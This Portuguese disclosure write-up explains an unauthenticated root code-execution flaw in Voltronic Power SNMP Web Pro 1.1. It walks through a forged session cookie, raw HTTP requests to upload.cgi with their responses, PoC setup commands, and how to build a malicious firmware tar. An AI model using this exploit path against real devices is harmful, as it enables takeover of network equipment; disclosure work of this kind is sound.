
Execução Remota Completa de Comandos como Root Pré-Autenticada no Voltronic Power SNMP Web Pro 1.1
Execução Remota Completa de Comandos Sem Autenticação no Voltronic Power SNMP Web Pro 1.1
O SNMP Web Pro 1.1 contém uma vulnerabilidade de execução remota de código sem autenticação no endpoint upload.cgi. A funcionalidade de atualização de firmware permite que usuários enviem um arquivo tar, que é então extraído e instalado sem qualquer validação de entrada ou verificações de segurança. A aplicação não restringe nem saneia o conteúdo do arquivo, portanto um atacante pode enviar um arquivo malicioso contendo scripts CGI maliciosos. Com um pouco de tentativa e erro - e muita ajuda das informações que cada resposta vaza - é possível descobrir o formato exato de arquivo esperado e criar um malicioso.
Além disso, o endpoint não valida corretamente a autenticação: fornecer um cookie de sessão manipulado ou inválido é suficiente para contornar os controles de acesso e alcançar a funcionalidade vulnerável sem credenciais válidas, mesmo que o front-end exija claramente um login para usá-la.
Uma exploração bem-sucedida permite que um atacante coloque arquivos executáveis arbitrários no diretório do servidor CGI e execute comandos com privilégios de root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tudo o que segue foi feito contra uma instância local (http://localhost:5555). Duas coisas tornam todo este exercício trivial desde o início:
Cookie: -http-session-=NOT_VALID é tudo de que precisamos para cada requisição - o parâmetro de consulta sid é um valor aleatório gerado pelo JavaScript do front-end e é igualmente ignorado pelo servidor.Os passos abaixo seguem esse ciclo. As requisições são reduzidas aos cabeçalhos mínimos com os quais o servidor realmente se importa.
A primeira requisição já nos diz onde o servidor espera que o arquivo de firmware esteja. Observe que params=extract pede ao CGI para extrair um arquivo, não para recebê-lo: nada foi enviado ainda; o endpoint simplesmente tenta descompactar o que espera encontrar no disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Resposta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
O corpo é uma mina de ouro. Além do (NAK (reconhecimento negativo) nos dizer que a operação falhou, a saída bruta do binário tar está embutida literalmente na resposta: ele está tentando extrair /root/upgrade.tar.gz. Observe também o caminho de instalação /root - estamos falando com um processo privilegiado.
Dois fatos para o plano de exploração:
upgrade.tar.gz e colocado em /root. O nome do nosso arquivo não importa.Primeiro, crie um arquivo tar fictício (o upload é um POST multipart; o rastro dele não é interessante - as chamadas GET conduzem todo o comportamento):
tar czvf test.tar.gz test.txt
test.txt
Inicie o ciclo: envie o arquivo e depois extraia-o:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - a extração passou sem reclamações. O ciclo (upload -> extract -> install) é a forma deste exploit inteiro; a partir daqui, apenas o passo de instalação muda, então os próximos rastros mostram somente a linha da requisição e o corpo da resposta (os cabeçalhos permanecem idênticos aos acima).
upgradeA extração funciona; hora de instalar. A resposta, como esperado, difere:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK novamente, mas os resquícios de um comando shell vazam: cd: line 1: can't cd to /root/upgrade*. O instalador executa shell arbitrário - ele tenta fazer cd para um glob que se expande para uma pasta chamada upgrade dentro do arquivo extraído. Nosso arquivo simples inocente (test.txt na raiz) não satisfaz o glob. Correção fácil: reempacotar com um diretório upgrade/ no nível superior.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Em seguida, repita os dois primeiros passos do ciclo: reenvie e reextraia.
install.shA mesma chamada de instalação novamente, e o vazamento fica ainda melhor:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Ele aplica chmod a um script chamado install.sh - ou seja, o procedimento de instalação executa um script shell do arquivo, como root. Neste ponto, controlamos todos os arquivos do arquivo, portanto controlamos esse script. Esta é a vulnerabilidade inteira em uma linha: arquivos arbitrários, executados com privilégios de root, sem autenticação.
Crie install.sh e pwned.cgi dentro do diretório upgrade/ (ambos os arquivos também estão incluídos na pasta upgrade/ deste repositório).